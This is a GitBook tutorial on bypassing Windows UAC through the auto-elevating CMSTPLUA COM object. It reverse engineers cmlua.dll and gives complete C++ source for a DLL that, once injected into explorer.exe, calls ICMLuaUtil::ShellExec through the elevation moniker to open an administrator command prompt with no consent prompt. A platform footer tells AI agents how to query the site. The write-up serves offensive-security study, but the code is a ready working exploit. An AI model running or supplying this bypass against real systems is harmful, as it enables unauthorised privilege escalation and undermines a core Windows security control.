> For the complete documentation index, see [llms.txt](https://0xsec.gitbook.io/0xsec/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xsec.gitbook.io/0xsec/windows/uac-bypass-cmstplua-com-exploitation.md).

# UAC Bypass - CMSTPLUA COM Exploitation

<figure><img src="https://704281641-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHmcGF1MgN1IYT3jBclZr%2Fuploads%2Fs6lC3O81LOlbev6KbhSX%2Fimg.png?alt=media&amp;token=d9c865d4-bb04-4684-96ba-a7f4b02aee99" alt=""><figcaption></figcaption></figure>

COM is a **binary standard** (not a language or an API library) that defines how compiled objects expose functionality through interfaces (pointer-based function tables), so that objects regardless of the language they were written in, can call each other's methods. In order to access functions in the interface, one has to get the [pointer to that particular interface](https://learn.microsoft.com/en-us/windows/win32/com/interface-pointers-and-interfaces) (*which is pointer to array of pointers of member functions called `pVtbl`*) in COM class.

A COM class can be identified using `CLSID` which is a `GUID` (*i.e. no other class can have same `CLSID`*) which associates with a **DLL** or **EXE** on windows. And Interface in COM class is identified using `IID` which is also a `GUID` . Check the registry hive **`HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\UAC\COMAutoApprovalList`** which contains autoelevated COM objects.

<figure><img src="https://704281641-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHmcGF1MgN1IYT3jBclZr%2Fuploads%2FzWjUyXLvLmF18uyOvn5F%2Fimage.png?alt=media&amp;token=0d353941-d0be-4d83-b85d-79fc55282401" alt=""><figcaption></figcaption></figure>

Windows exposes several COM objects that perform elevated operations through UAC (*User Access Control*) elevation mechanism. From one of them is `CMSTPLUA` implemented in `cmlua.dll` which exposes a interface `ICMLuaUtil` with one of a method `ShellExec` which is leveraged to execute shell commands with higher privilege that bypass UAC because `autoapproval` is set to true.

Using OleView we can see exposed interface by `CMSTPLUA` COM class object, it can be seen in properties that both `Elevation` and `AutoApproval` are set to `True` .

<figure><img src="https://704281641-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHmcGF1MgN1IYT3jBclZr%2Fuploads%2Ff2n6ahlOrGdUl9E1zGkE%2Fimage.png?alt=media&amp;token=a82f3d39-9e7a-4a8f-b341-efcc37231795" alt=""><figcaption></figcaption></figure>

<figure><img src="https://704281641-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHmcGF1MgN1IYT3jBclZr%2Fuploads%2FTmhK8EjJrZQrFQNPzGo4%2Fimage.png?alt=media&amp;token=00e56092-a7d5-47ae-ae2a-b877b1f587f3" alt=""><figcaption></figcaption></figure>

If we try to see definition of `ICMLuaUtil` Interface which inherits [IUnknown](https://en.wikipedia.org/wiki/IUnknown) interface (*a mandatory fundamental interface in COM exposing `QueryInterface()`, `AddRef()`, and `Release()` methods*), it lists some public methods which we will see later in IDA for their naming.

<figure><img src="https://704281641-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHmcGF1MgN1IYT3jBclZr%2Fuploads%2FkIp86iQ79s028DKC9KQ8%2Fimage.png?alt=media&amp;token=e310146e-a8bc-4183-acdf-98a9a3f6d97c" alt=""><figcaption></figcaption></figure>

Loading `C:\Windows\System32\cmlua.dll` in IDA, we can see the `vftable` which holds the pointer virtual methods of the `CCMLuaUtil` class and the first three methods are from the `IUnknown` interface but our point of interest is `ShellExec` method which is the 7*th* method in class. With that we have also identified the `CLSID` and `IID` for it.

<figure><img src="https://704281641-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHmcGF1MgN1IYT3jBclZr%2Fuploads%2FAuccIuKaAycPp2Hwi9sw%2Fimage.png?alt=media&amp;token=08c0e771-e800-4a1b-bf16-73988c776289" alt=""><figcaption></figcaption></figure>

<figure><img src="https://704281641-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHmcGF1MgN1IYT3jBclZr%2Fuploads%2FePej6cbdvTd9AQWxoxaz%2Fimage.png?alt=media&amp;token=bba4bd44-7bae-42a4-9cc9-833c2c8cd465" alt=""><figcaption></figcaption></figure>

From `vftable` we have recovered the structure of `ShellExec` which expects a pointer to [SHELLEXECUTEINFOW](https://learn.microsoft.com/en-us/windows/win32/api/shellapi/ns-shellapi-shellexecuteinfow) structure.

```cpp
CCMLuaUtil::ShellExec(
	CCMLuaUtil *this,
	LPCWSTR    lpFile,
	LPCWSTR    lpParameters,
	LPCWSTR    lpDirectory,
	ULONG      fMask,
	int        nShow);
```

<figure><img src="https://704281641-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHmcGF1MgN1IYT3jBclZr%2Fuploads%2FK1b37DW5EseCyjMwGxSJ%2Fimage.png?alt=media&amp;token=cd692dc2-1c4a-4856-ab58-67de925b270f" alt=""><figcaption></figcaption></figure>

Now inorder to execute a shell with Admin privilege, COM client needs to request elevation using the [elevation moniker](https://learn.microsoft.com/en-us/windows/win32/com/the-com-elevation-moniker), also elevation requires COM class to be configured to support it as we have seen above in **OleView.**

### Implementation

We are going to achieve this via DLL injection, injecting our crafted dll with a simple loader into `explorer.exe` .

```cpp
//cmstplua_com_uac_bypass.dll
#include "pch.h"
#include <ShlObj.h>
#include <objbase.h>
#include <shellapi.h>
#pragma comment(lib, "shell32.lib")

//CLSID of CMSTPLUA and IID of ICLuatil
const wchar_t* CLSID_CMSTPLUA = L"{3E5FC7F9-9A51-4367-9063-A120244FBEC7}";

//ICMLuaUtil public methods
struct __declspec(uuid("6EDD6D74-C007-4E75-B76A-E5740995E24C"))ICMLuaUtil : public IUnknown {
    virtual HRESULT __stdcall Method1();  //SetRasCredentials
    virtual HRESULT __stdcall Method2();  //SetRasEntryProperties
    virtual HRESULT __stdcall Method3();  //DeleteRasEntry
    virtual HRESULT __stdcall Method4();  //LaunchInfSection
    virtual HRESULT __stdcall Method5();  //LaunchInfSectionEx
    virtual HRESULT __stdcall Method6();  //CreateLayerDirectory
    virtual HRESULT __stdcall ShellExec(
        LPCWSTR lpFile,
        LPCWSTR lpParameters,
        LPCWSTR lpDirectory,
        ULONG   fMask,
        int     nShow);
    virtual HRESULT __stdcall Method8();  //SetRegistryStringValue
    virtual HRESULT __stdcall Method9();  //DeleteRegistryStringValue
    virtual HRESULT __stdcall Method10(); //DeleteRegKeysWithoutSubKeys
    virtual HRESULT __stdcall Method11(); //DeleteRegTree
    virtual HRESULT __stdcall Method12(); //ExitWindowsFunc
    virtual HRESULT __stdcall Method13(); //AllowAccessToWorld
    virtual HRESULT __stdcall Method14(); //CreateFileAndClose
    virtual HRESULT __stdcall Method15(); //DeleteHiddenCmProfileFiles
    virtual HRESULT __stdcall Method16(); //CallCustomActionDll
    virtual HRESULT __stdcall Method17(); //RunCustomActionExe
    virtual HRESULT __stdcall Method18(); //SetRasSubEntryProperties
    virtual HRESULT __stdcall Method19(); //SetCustomAuthData
};

int inject() {
    HRESULT hr;
    WCHAR wsElevationMoniker[MAX_PATH]; //asks COM to create elevated instance of CMSTPLUA
    ICMLuaUtil* pCMLuaUtil = nullptr;    
    CLSID clsid;
    BIND_OPTS3 bo;

    hr = CoInitialize(NULL);
    if (hr != S_OK) {
        return -1;
    }

    if (CLSIDFromString(CLSID_CMSTPLUA, &clsid) != NOERROR) {
        CoUninitialize();
        return -1;
    }

    RtlSecureZeroMemory(wsElevationMoniker, sizeof(wsElevationMoniker));

    //create COM moniker with Admin privilege for CMSTPLUA GUID
    wcscpy_s(wsElevationMoniker, L"Elevation:Administrator!new:");
    wcscat_s(wsElevationMoniker, CLSID_CMSTPLUA);

    RtlSecureZeroMemory(&bo, sizeof(bo));
    bo.cbStruct = sizeof(bo);
    bo.dwClassContext = CLSCTX_LOCAL_SERVER;

    hr = CoGetObject(wsElevationMoniker, &bo, __uuidof(ICMLuaUtil), (void**)&pCMLuaUtil);
    if (hr == S_OK && pCMLuaUtil != nullptr) {
		    //with elevated instance call ShellExec
        pCMLuaUtil->ShellExec(L"C:\\Windows\\System32\\cmd.exe", nullptr, nullptr, SEE_MASK_DEFAULT, SW_SHOW);
    }

    if (pCMLuaUtil) {
        pCMLuaUtil->Release();
        pCMLuaUtil = nullptr;
    }

    CoUninitialize();
    return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
        CreateThread(nullptr, 0, (LPTHREAD_START_ROUTINE)inject, hModule, 0, nullptr);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }

    return TRUE;
}
```

Here is our elevated prompt :)

<figure><img src="https://704281641-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHmcGF1MgN1IYT3jBclZr%2Fuploads%2FK9SynDmWUb6PM5jHyDCM%2Fimage.png?alt=media&amp;token=43a6ca74-9152-4f34-831c-60e82e1b787f" alt=""><figcaption></figcaption></figure>

### References

<https://github.com/0xSec1/UAC-Bypass> - Source Code

<https://gist.github.com/hfiref0x/196af729106b780db1c73428b5a5d68d>

<https://learn.microsoft.com/en-us/windows/win32/com/com-fundamentals>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://0xsec.gitbook.io/0xsec/windows/uac-bypass-cmstplua-com-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
